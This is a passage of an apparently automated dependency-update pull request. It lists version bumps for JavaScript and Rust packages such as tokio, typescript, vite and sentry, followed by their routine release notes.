| [shiki](https://redirect.github.com/shikijs/shiki) ([source](https://redirect.github.com/shikijs/shiki/tree/HEAD/packages/shiki)) | [`1.25.1` -> `1.26.1`](https://renovatebot.com/diffs/npm/shiki/1.25.1/1.26.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/shiki/1.26.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/shiki/1.26.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/shiki/1.25.1/1.26.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/shiki/1.25.1/1.26.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [sqlx](https://redirect.github.com/launchbadge/sqlx) | `0.8.2` -> `0.8.3` | [![age](https://developer.mend.io/api/mc/badges/age/crate/sqlx/0.8.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/sqlx/0.8.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/sqlx/0.8.2/0.8.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/sqlx/0.8.2/0.8.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | patch |
| [thiserror](https://redirect.github.com/dtolnay/thiserror) | `2.0.9` -> `2.0.10` | [![age](https://developer.mend.io/api/mc/badges/age/crate/thiserror/2.0.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/thiserror/2.0.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/thiserror/2.0.9/2.0.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/thiserror/2.0.9/2.0.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | patch |
| [tokio](https://tokio.rs) ([source](https://redirect.github.com/tokio-rs/tokio)) | `1.42.0` -> `1.43.0` | [![age](https://developer.mend.io/api/mc/badges/age/crate/tokio/1.43.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/tokio/1.43.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/tokio/1.42.0/1.43.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/tokio/1.42.0/1.43.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | minor |
| [typescript](https://www.typescriptlang.org/) ([source](https://redirect.github.com/microsoft/TypeScript)) | [`5.7.2` -> `5.7.3`](https://renovatebot.com/diffs/npm/typescript/5.7.2/5.7.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/typescript/5.7.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/typescript/5.7.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/typescript/5.7.2/5.7.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/typescript/5.7.2/5.7.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [typescript](https://www.typescriptlang.org/) ([source](https://redirect.github.com/microsoft/TypeScript)) | [`5.7.2` -> `5.7.3`](https://renovatebot.com/diffs/npm/typescript/5.7.2/5.7.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/typescript/5.7.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/typescript/5.7.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/typescript/5.7.2/5.7.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/typescript/5.7.2/5.7.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [typescript-eslint](https://typescript-eslint.io/packages/typescript-eslint) ([source](https://redirect.github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/typescript-eslint)) | [`8.19.0` -> `8.19.1`](https://renovatebot.com/diffs/npm/typescript-eslint/8.19.0/8.19.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/typescript-eslint/8.19.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/typescript-eslint/8.19.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/typescript-eslint/8.19.0/8.19.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/typescript-eslint/8.19.0/8.19.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [uuid](https://redirect.github.com/uuidjs/uuid) | [`11.0.3` -> `11.0.4`](https://renovatebot.com/diffs/npm/uuid/11.0.3/11.0.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/uuid/11.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/uuid/11.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/uuid/11.0.3/11.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/uuid/11.0.3/11.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [vite](https://vite.dev) ([source](https://redirect.github.com/vitejs/vite/tree/HEAD/packages/vite)) | [`6.0.6` -> `6.0.7`](https://renovatebot.com/diffs/npm/vite/6.0.6/6.0.7) | [![age](https://developer.mend.io/api/mc/badges/age/npm/vite/6.0.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/vite/6.0.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/vite/6.0.6/6.0.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/vite/6.0.6/6.0.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | resolutions | patch |
| [wrangler](https://redirect.github.com/cloudflare/workers-sdk) ([source](https://redirect.github.com/cloudflare/workers-sdk/tree/HEAD/packages/wrangler)) | [`3.99.0` -> `3.100.0`](https://renovatebot.com/diffs/npm/wrangler/3.99.0/3.100.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/wrangler/3.100.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/wrangler/3.100.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/wrangler/3.99.0/3.100.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/wrangler/3.99.0/3.100.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |

---

### Release Notes

<details>
<summary>apollographql/apollo-server (@&#8203;apollo/server)</summary>

### [`v4.11.3`](https://redirect.github.com/apollographql/apollo-server/blob/HEAD/packages/server/CHANGELOG.md#4113)

[Compare Source](https://redirect.github.com/apollographql/apollo-server/compare/@apollo/server@4.11.2...@apollo/server@4.11.3)

##### Patch Changes

-   [#&#8203;8010](https://redirect.github.com/apollographql/apollo-server/pull/8010) [`f4228e8`](https://redirect.github.com/apollographql/apollo-server/commit/f4228e88509b4cd2f50cf10bc6376d48488e03c1) Thanks [@&#8203;glasser](https://redirect.github.com/glasser)! - Compatibility with Next.js Turbopack. Fixes [#&#8203;8004](https://redirect.github.com/apollographql/apollo-server/issues/8004).

</details>

<details>
<summary>aws/aws-sdk-js-v3 (@&#8203;aws-sdk/client-s3)</summary>

### [`v3.723.0`](https://redirect.github.com/aws/aws-sdk-js-v3/blob/HEAD/clients/client-s3/CHANGELOG.md#37230-2025-01-06)

[Compare Source](https://redirect.github.com/aws/aws-sdk-js-v3/compare/v3.722.0...v3.723.0)

**Note:** Version bump only for package [@&#8203;aws-sdk/client-s3](https://redirect.github.com/aws-sdk/client-s3)

### [`v3.722.0`](https://redirect.github.com/aws/aws-sdk-js-v3/blob/HEAD/clients/client-s3/CHANGELOG.md#37220-2025-01-03)

[Compare Source](https://redirect.github.com/aws/aws-sdk-js-v3/compare/v3.721.0...v3.722.0)

##### Features

-   **client-s3:** This change is only for updating the model regexp of CopySource which is not for validation but only for documentation and user guide change. ([3bb74c5](https://redirect.github.com/aws/aws-sdk-js-v3/commit/3bb74c5bd68087528d9710906ba186c7b211843d))

### [`v3.721.0`](https://redirect.github.com/aws/aws-sdk-js-v3/blob/HEAD/clients/client-s3/CHANGELOG.md#37210-2025-01-02)

[Compare Source](https://redirect.github.com/aws/aws-sdk-js-v3/compare/v3.717.0...v3.721.0)

**Note:** Version bump only for package [@&#8203;aws-sdk/client-s3](https://redirect.github.com/aws-sdk/client-s3)

</details>

<details>
<summary>floating-ui/floating-ui (@&#8203;floating-ui/dom)</summary>

### [`v1.6.13`](https://redirect.github.com/floating-ui/floating-ui/blob/HEAD/packages/dom/CHANGELOG.md#1613)

[Compare Source](https://redirect.github.com/floating-ui/floating-ui/compare/@floating-ui/dom@1.6.12...@floating-ui/dom@1.6.13)

##### Patch Changes

-   fix(autoUpdate): work around `IntersectionObserver` issue that sometimes fails to detect movement of reference element
-   Update dependencies: `@floating-ui/utils@0.2.9`

</details>

<details>
<summary>LottieFiles/dotlottie-web (@&#8203;lottiefiles/dotlottie-wc)</summary>

### [`v0.4.2`](https://redirect.github.com/LottieFiles/dotlottie-web/blob/HEAD/packages/wc/CHANGELOG.md#042)

[Compare Source](https://redirect.github.com/LottieFiles/dotlottie-web/compare/@lottiefiles/dotlottie-wc@0.4.1...@lottiefiles/dotlottie-wc@0.4.2)

##### Patch Changes

-   Updated dependencies \[[`8ef9888`](https://redirect.github.com/LottieFiles/dotlottie-web/commit/8ef9888)]
-   Updated dependencies \[[`1ee4ce9`](https://redirect.github.com/LottieFiles/dotlottie-web/commit/1ee4ce9)]
    -   [@&#8203;lottiefiles/dotlottie-web](https://redirect.github.com/lottiefiles/dotlottie-web)[@&#8203;0](https://redirect.github.com/0).39.0

</details>

<details>
<summary>open-telemetry/opentelemetry-js-contrib (@&#8203;opentelemetry/host-metrics)</summary>

### [`v0.35.5`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/compare/2512c78761ac985f189bf82c2608c4099affa660...d4d3c4f14faa634de960a7616ec2e6115b1b6347)

[Compare Source](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/compare/2512c78761ac985f189bf82c2608c4099affa660...d4d3c4f14faa634de960a7616ec2e6115b1b6347)

</details>

<details>
<summary>getsentry/sentry-javascript (@&#8203;sentry/react)</summary>

### [`v8.48.0`](https://redirect.github.com/getsentry/sentry-javascript/releases/tag/8.48.0)

[Compare Source](https://redirect.github.com/getsentry/sentry-javascript/compare/8.47.0...8.48.0)

##### Deprecations

-   **feat(v8/core): Deprecate `getDomElement` method ([#&#8203;14799](https://redirect.github.com/getsentry/sentry-javascript/pull/14799))**

    Deprecates `getDomElement`. There is no replacement.

##### Other changes

-   fix(nestjs/v8): Use correct main/module path in package.json ([#&#8203;14791](https://redirect.github.com/getsentry/sentry-javascript/pull/14791))
-   fix(v8/core): Use consistent `continueTrace` implementation in core ([#&#8203;14819](https://redirect.github.com/getsentry/sentry-javascript/pull/14819))
-   fix(v8/node): Correctly resolve debug IDs for ANR events with custom appRoot ([#&#8203;14823](https://redirect.github.com/getsentry/sentry-javascript/pull/14823))
-   fix(v8/node): Ensure `NODE_OPTIONS` is not passed to worker threads ([#&#8203;14825](https://redirect.github.com/getsentry/sentry-javascript/pull/14825))
-   fix(v8/angular): Fall back to element `tagName` when name is not provided to `TraceDirective` ([#&#8203;14828](https://redirect.github.com/getsentry/sentry-javascript/pull/14828))
-   fix(aws-lambda): Remove version suffix from lambda layer ([#&#8203;14843](https://redirect.github.com/getsentry/sentry-javascript/pull/14843))
-   fix(v8/node): Ensure express requests are properly handled ([#&#8203;14851](https://redirect.github.com/getsentry/sentry-javascript/pull/14851))
-   feat(v8/node): Add `openTelemetrySpanProcessors` option ([#&#8203;14853](https://redirect.github.com/getsentry/sentry-javascript/pull/14853))
-   fix(v8/react): Use `Set` as the `allRoutes` container. ([#&#8203;14878](https://redirect.github.com/getsentry/sentry-javascript/pull/14878)) ([#&#8203;14884](https://redirect.github.com/getsentry/sentry-javascript/issues/14884))
-   fix(v8/react): Improve handling of routes nested under path="/" ([#&#8203;14897](https://redirect.github.com/getsentry/sentry-javascript/pull/14897))
-   feat(v8/core): Add `normalizedRequest` to `samplingContext` ([#&#8203;14903](https://redirect.github.com/getsentry/sentry-javascript/pull/14903))
-   fix(v8/feedback): Avoid lazy loading code for `syncFeedbackIntegration` ([#&#8203;14918](https://redirect.github.com/getsentry/sentry-javascript/pull/14918))

Work in this release was contributed by [@&#8203;arturovt](https://redirect.github.com/arturovt). Thank you for your contribution!

##### Bundle size 📦

| Path                                                             | Size              |
| ---------------------------------------------------------------- | ----------------- |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser)                                                  | 23.29 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) - with treeshaking flags                         | 21.96 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing)                                  | 35.85 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing, Replay)                          | 73.09 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing, Replay) - with treeshaking flags | 63.48 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing, Replay with Canvas)              | 77.4 KB   |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing, Replay, Feedback)                | 89.34 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Feedback)                                 | 39.5 KB   |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. sendFeedback)                             | 27.89 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. FeedbackAsync)                            | 32.69 KB  |
| [@&#8203;sentry/react](https://redirect.github.com/sentry/react)                                                    | 25.96 KB  |
| [@&#8203;sentry/react](https://redirect.github.com/sentry/react) (incl. Tracing)                                    | 38.66 KB  |
| [@&#8203;sentry/vue](https://redirect.github.com/sentry/vue)                                                      | 27.56 KB  |
| [@&#8203;sentry/vue](https://redirect.github.com/sentry/vue) (incl. Tracing)                                      | 37.69 KB  |
| [@&#8203;sentry/svelte](https://redirect.github.com/sentry/svelte)                                                   | 23.45 KB  |
| CDN Bundle                                                       | 24.49 KB  |
| CDN Bundle (incl. Tracing)                                       | 37.56 KB  |
| CDN Bundle (incl. Tracing, Replay)                               | 72.75 KB  |
| CDN Bundle (incl. Tracing, Replay, Feedback)                     | 78.11 KB  |
| CDN Bundle - uncompressed                                        | 71.93 KB  |
| CDN Bundle (incl. Tracing) - uncompressed                        | 111.42 KB |
| CDN Bundle (incl. Tracing, Replay) - uncompressed                | 225.5 KB  |
| CDN Bundle (incl. Tracing, Replay, Feedback) - uncompressed      | 238.6 KB  |
| [@&#8203;sentry/nextjs](https://redirect.github.com/sentry/nextjs) (client)                                          | 38.92 KB  |
| [@&#8203;sentry/sveltekit](https://redirect.github.com/sentry/sveltekit) (client)                                       | 36.36 KB  |
| [@&#8203;sentry/node](https://redirect.github.com/sentry/node)                                                     | 162.8 KB  |
| [@&#8203;sentry/node](https://redirect.github.com/sentry/node) - without tracing                                   | 98.94 KB  |
| [@&#8203;sentry/aws-serverless](https://redirect.github.com/sentry/aws-serverless)                                           | 126.63 KB |

</details>

<details>
<summary>DaveMBush/eslint-plugin-rxjs (@&#8203;smarttools/eslint-plugin-rxjs)</summary>

### [`v1.0.13`](https://redirect.github.com/DaveMBush/eslint-plugin-rxjs/releases/tag/v1.0.13): 1.0.13 (2025-01-05)

[Compare Source](https://redirect.github.com/DaveMBush/eslint-plugin-rxjs/compare/v1.0.12...v1.0.13)

no-ignore-replay-buffer now considers a config with no bufferSize an ignored replay buffer.

</details>

<details>
<summary>swc-project/swc (@&#8203;swc/core)</summary>

### [`v1.10.6`](https://redirect.github.com/swc-project/swc/blob/HEAD/CHANGELOG.md#1106---2025-01-07)

[Compare Source](https://redirect.github.com/swc-project/swc/compare/v1.10.4...v1.10.6)

##### Performance

-   **(es/minifier)** Speed up `merge_sequences_in_exprs` by caching computation ([#&#8203;9843](https://redirect.github.com/swc-project/swc/issues/9843)) ([6e5632f](https://redirect.github.com/swc-project/swc/commit/6e5632fa413c73ea5e1393a0b28b93d4000a3ac1))

</details>

<details>
<summary>zloirock/core-js (core-js)</summary>

### [`v3.40.0`](https://redirect.github.com/zloirock/core-js/blob/HEAD/CHANGELOG.md#3400---20250108)

[Compare Source](https://redirect.github.com/zloirock/core-js/compare/v3.39.0...v3.40.0)

-   Changes [v3.39.0...v3.40.0](https://redirect.github.com/zloirock/core-js/compare/v3.39.0...v3.40.0) (130 commits)
-   Added [`Error.isError` stage 3 proposal](https://redirect.github.com/tc39/proposal-is-error):
    -   Added built-ins:
        -   `Error.isError`
    -   We have no bulletproof way to polyfill this method / check if the object is an error, so it's an enough naive implementation that is marked as `.sham`
-   [Explicit Resource Management stage 3 proposal](https://redirect.github.com/tc39/proposal-explicit-resource-management):
    -   Updated the way async disposing of only sync disposable resources, [tc39/proposal-explicit-resource-management/218](https://redirect.github.com/tc39/proposal-explicit-resource-management/pull/218)
-   [`Iterator` sequencing stage 2.7 proposal](https://redirect.github.com/tc39/proposal-iterator-sequencing):
    -   Reuse `IteratorResult` objects when possible, [tc39/proposal-iterator-sequencing/17](https://redirect.github.com/tc39/proposal-iterator-sequencing/issues/17), [tc39/proposal-iterator-sequencing/18](https://redirect.github.com/tc39/proposal-iterator-sequencing/pull/18), December 2024 TC39 meeting
-   Added a fix of [V8 < 12.8](https://issues.chromium.org/issues/351332634) / [NodeJS < 22.10](https://redirect.github.com/nodejs/node/pull/54883) bug with handling infinite length of set-like objects in `Set` methods
-   Optimized `DataView.prototype.{ getFloat16, setFloat16 }` performance, [#&#8203;1379](https://redirect.github.com/zloirock/core-js/pull/1379), thanks [**@&#8203;LeviPesin**](https://redirect.github.com/LeviPesin)
-   Dropped unneeded feature detection of non-standard `%TypedArray%.prototype.toSpliced`
-   Dropped possible re-usage of some non-standard / early stage features (like `Math.scale`) available on global
-   Some other minor improvements
-   Compat data improvements:
    -   [`RegExp.escape`](https://redirect.github.com/tc39/proposal-regex-escaping) marked as shipped from Safari 18.2
    -   [`Promise.try`](https://redirect.github.com/tc39/proposal-promise-try) marked as shipped from Safari 18.2
    -   [`Math.f16round` and `DataView.prototype.{ getFloat16, setFloat16 }`](https://redirect.github.com/tc39/proposal-float16array) marked as shipped from Safari 18.2
    -   [`Uint8Array` to / from base64 and hex proposal](https://redirect.github.com/tc39/proposal-arraybuffer-base64) methods marked as shipped from Safari 18.2
    -   [`JSON.parse` source text access proposal](https://redirect.github.com/tc39/proposal-json-parse-with-source) features marked as [shipped from FF135](https://bugzilla.mozilla.org/show_bug.cgi?id=1934622)
    -   [`RegExp.escape`](https://redirect.github.com/tc39/proposal-regex-escaping) marked as shipped [from FF134](https://bugzilla.mozilla.org/show_bug.cgi?id=1918235)
    -   [`Promise.try`](https://redirect.github.com/tc39/proposal-promise-try) marked as shipped from FF134
    -   [`Symbol.dispose`, `Symbol.asyncDispose` and `Iterator.prototype[@&#8203;@&#8203;dispose]`](https://redirect.github.com/tc39/proposal-explicit-resource-management) marked as shipped from FF135
    -   [`JSON.parse` source text access proposal](https://redirect.github.com/tc39/proposal-json-parse-with-source) features marked as shipped from Bun 1.1.43
    -   Fixed NodeJS version where `URL.parse` was added - 22.1 instead of 22.0
    -   Added [Deno 2.1](https://redirect.github.com/denoland/deno/releases/tag/v2.1.0) compat data mapping
    -   Added [Rhino 1.8.0](https://redirect.github.com/mozilla/rhino/releases/tag/Rhino1\_8\_0\_Release) compat data with significant number of modern features
    -   Added Electron 35 compat data mapping
    -   Updated Opera 115+ compat data mapping
    -   Added Opera Android [86](https://forums.opera.com/topic/75006/opera-for-android-86) and 87 compat data mapping

</details>

<details>
<summary>electron/electron (electron)</summary>

### [`v33.3.1`](https://redirect.github.com/electron/electron/releases/tag/v33.3.1): electron v33.3.1

[Compare Source](https://redirect.github.com/electron/electron/compare/v33.3.0...v33.3.1)

### Release Notes for v33.3.1

#### Fixes

-   Fixed `chrome.i18n` extension API being unavailable in service workers. [#&#8203;45037](https://redirect.github.com/electron/electron/pull/45037) <span style="font-size:small;">(Also in [31](https://redirect.github.com/electron/electron/pull/45035), [32](https://redirect.github.com/electron/electron/pull/45038), [34](https://redirect.github.com/electron/electron/pull/45036))</span>
-   Fixed build failure when the PDF viewer is disabled. [#&#8203;44965](https://redirect.github.com/electron/electron/pull/44965) <span style="font-size:small;">(Also in [34](https://redirect.github.com/electron/electron/pull/44964))</span>
-   Fixed custom spell checker getting stuck in infinite loop using 100% CPU. [#&#8203;45021](https://redirect.github.com/electron/electron/pull/45021) <span style="font-size:small;">(Also in [31](https://redirect.github.com/electron/electron/pull/45022), [32](https://redirect.github.com/electron/electron/pull/45019), [34](https://redirect.github.com/electron/electron/pull/45020))</span>
-   Fixed issue with missing index arg for `webContents.canGoToOffset`. [#&#8203;45006](https://redirect.github.com/electron/electron/pull/45006) <span style="font-size:small;">(Also in [32](https://redirect.github.com/electron/electron/pull/45007), [34](https://redirect.github.com/electron/electron/pull/45008))</span>

#### Other Changes

-   Updated Chromium to 130.0.6723.170. [#&#8203;45061](https://redirect.github.com/electron/electron/pull/45061)

</details>

<details>
<summary>davidjerleke/embla-carousel (embla-carousel-react)</summary>

### [`v8.5.2`](https://redirect.github.com/davidjerleke/embla-carousel/releases/tag/v8.5.2)

[Compare Source](https://redirect.github.com/davidjerleke/embla-carousel/compare/v8.5.1...v8.5.2)

##### Support

Embla Carousel is an open source MIT licensed project. If you are interested in **supporting this project** you can sponsor it here:

-   [**`💖 Sponsor`**](https://redirect.github.com/sponsors/davidjerleke)

##### What's Changed

-   \[Bug]: Offset by 1 issue for canScrollNext when tab size has fractional width by [@&#8203;yasuhiro-yamamoto](https://redirect.github.com/yasuhiro-yamamoto) in [https://github.com/davidjerleke/embla-carousel/pull/1096](https://redirect.github.com/davidjerleke/embla-carousel/pull/1096)
-   \[Bug]: Autoplay never starts if page with carousel is loaded in inactive browser tab by [@&#8203;davidjerleke](https://redirect.github.com/davidjerleke) in [https://github.com/davidjerleke/embla-carousel/pull/1101](https://redirect.github.com/davidjerleke/embla-carousel/pull/1101)

##### New Contributors

-   [@&#8203;yasuhiro-yamamoto](https://redirect.github.com/yasuhiro-yamamoto) made their first contribution in [https://github.com/davidjerleke/embla-carousel/pull/1096](https://redirect.github.com/davidjerleke/embla-carousel/pull/1096)

**Full Changelog**: https://github.com/davidjerleke/embla-carousel/compare/v8.5.1...v8.5.2

</details>

<details>
<summary>capricorn86/happy-dom (happy-dom)</summary>

### [`v16.5.2`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v16.5.2)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v16.5.1...v16.5.2)

##### 👷‍♂️ Patch fixes

-   `Event.target` should be the target element after an event has been dispatched - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;1529](https://redirect.github.com/capricorn86/happy-dom/issues/1529)

### [`v16.5.1`](https://redirect.github.com/capricorn86/happy-dom/compare/v16.5.0...f79188a14025faf14bbe375827c1274f93767db4)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v16.5.0...v16.5.1)

### [`v16.5.0`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v16.5.0)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v16.4.3...v16.5.0)

##### 🎨 Features

-   Adds property `GlobalRegistrator.isRegistered` - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;1670](https://redirect.github.com/capricorn86/happy-dom/issues/1670)

### [`v16.4.3`](https://redirect.github.com/capricorn86/happy-dom/compare/v16.4.2...a68a9cc21f6a22cbc11b116004c7f5e01b8d0dba)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v16.4.2...v16.4.3)

### [`v16.4.2`](https://redirect.github.com/capricorn86/happy-dom/compare/v16.4.1...v16.4.2)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v16.4.1...v16.4.2)

### [`v16.4.1`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v16.4.1)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v16.4.0...v16.4.1)

##### 👷‍♂️ Patch fixes

-   Fixes issue where HTML assigned to `document.documentElement.innerHTML` isnt parsed correctly since v16 - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;1663](https://redirect.github.com/capricorn86/happy-dom/issues/1663)

### [`v16.4.0`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v16.4.0)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v16.3.0...v16.4.0)

##### 🎨 Features

-   Allow fetch to be intercepted and modified by sending in an interceptor as a setting - By **[@&#8203;OlaviSau](https://redirect.github.com/OlaviSau)** in task [#&#8203;1502](https://redirect.github.com/capricorn86/happy-dom/issues/1502)
    -   Read more about this in the Wiki at [IBrowserSettings](https://redirect.github.com/capricorn86/happy-dom/wiki/IBrowserSettings/)

</details>

<details>
<summary>html-validate/html-validate (html-validate)</summary>

### [`v9.1.1`](https://gitlab.com/html-validate/html-validate/blob/HEAD/CHANGELOG.md#911-2025-01-05)

[Compare Source](https://gitlab.com/html-validate/html-validate/compare/v9.1.0...v9.1.1)

##### Bug Fixes

-   **vitest:** fix `require is not defined` in vitest ([6a42bb1](https://gitlab.com/html-validate/html-validate/commit/6a42bb1ce34aca2475150723fb6d3cbb5b915048)), closes [#&#8203;276](https://gitlab.com/html-validate/html-validate/issues/276)

</details>

<details>
<summary>i18next/i18next (i18next)</summary>

### [`v24.2.1`](https://redirect.github.com/i18next/i18next/blob/HEAD/CHANGELOG.md#2421)

[Compare Source](https://redirect.github.com/i18next/i18next/compare/v24.2.0...v24.2.1)

-   Standardize null/undefined checks across codebase [2275](https://redirect.github.com/i18next/i18next/pull/2275)
-   fix(typescript): make TFunction augmentable again [2279](https://redirect.github.com/i18next/i18next/pull/2279), fixes [2278](https://redirect.github.com/i18next/i18next/issues/2278)

</details>

<details>
<summary>guilhermerodz/input-otp (input-otp)</summary>

### [`v1.4.2`](https://redirect.github.com/guilhermerodz/input-otp/blob/HEAD/CHANGELOG.md#142)

[Compare Source](https://redirect.github.com/guilhermerodz/input-otp/compare/3632450db66703f2455d092c3295c98ed92cef0d...81ccdb48c010d800b24942aa231909f0c971b1ca)

-   chore(input): remove unintentional log within internal pasteListener

</details>

<details>
<summary>ospfranco/link-preview-js (link-preview-js)</summary>

### [`v3.0.13`](https://redirect.github.com/OP-Engineering/link-preview-js/releases/tag/3.0.13)

[Compare Source](https://redirect.github.com/ospfranco/link-preview-js/compare/3.0.12...3.0.13)

#### What's Changed

-   fallback to abort-controller polyfill by [@&#8203;Birowsky](https://redirect.github.com/Birowsky) in [https://github.com/OP-Engineering/link-preview-js/pull/162](https://redirect.github.com/OP-Engineering/link-preview-js/pull/162)
-   Bump cross-spawn from 7.0.3 to 7.0.6 by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/OP-Engineering/link-preview-js/pull/158](https://redirect.github.com/OP-Engineering/link-preview-js/pull/158)

#### New Contributors

-   [@&#8203;Birowsky](https://redirect.github.com/Birowsky) made their first contribution in [https://github.com/OP-Engineering/link-preview-js/pull/162](https://redirect.github.com/OP-Engineering/link-preview-js/pull/162)

**Full Changelog**: https://github.com/OP-Engineering/link-preview-js/compare/3.0.12...3.0.13

</details>

<details>
<summary>markedjs/marked (marked)</summary>

### [`v15.0.6`](https://redirect.github.com/markedjs/marked/releases/tag/v15.0.6)

[Compare Source](https://redirect.github.com/markedjs/marked/compare/v15.0.5...v15.0.6)

##### Bug Fixes

-   fix strikethrough inside strong and em to follow gfm ([#&#8203;3577](https://redirect.github.com/markedjs/marked/issues/3577)) ([7712a53](https://redirect.github.com/markedjs/marked/commit/7712a5324f255c76509de81870c01b4c411979c7))

### [`v15.0.5`](https://redirect.github.com/markedjs/marked/releases/tag/v15.0.5)

[Compare Source](https://redirect.github.com/markedjs/marked/compare/v15.0.4...v15.0.5)

##### Bug Fixes

-   allow strikethrough inside strong and em to follow gfm ([#&#8203;3569](https://redirect.github.com/markedjs/marked/issues/3569)) ([8a01658](https://redirect.github.com/markedjs/marked/commit/8a01658cac1211a6bf102c465812402358a6fe3f))

</details>

<details>
<summary>napi-rs/napi-rs (napi)</summary>

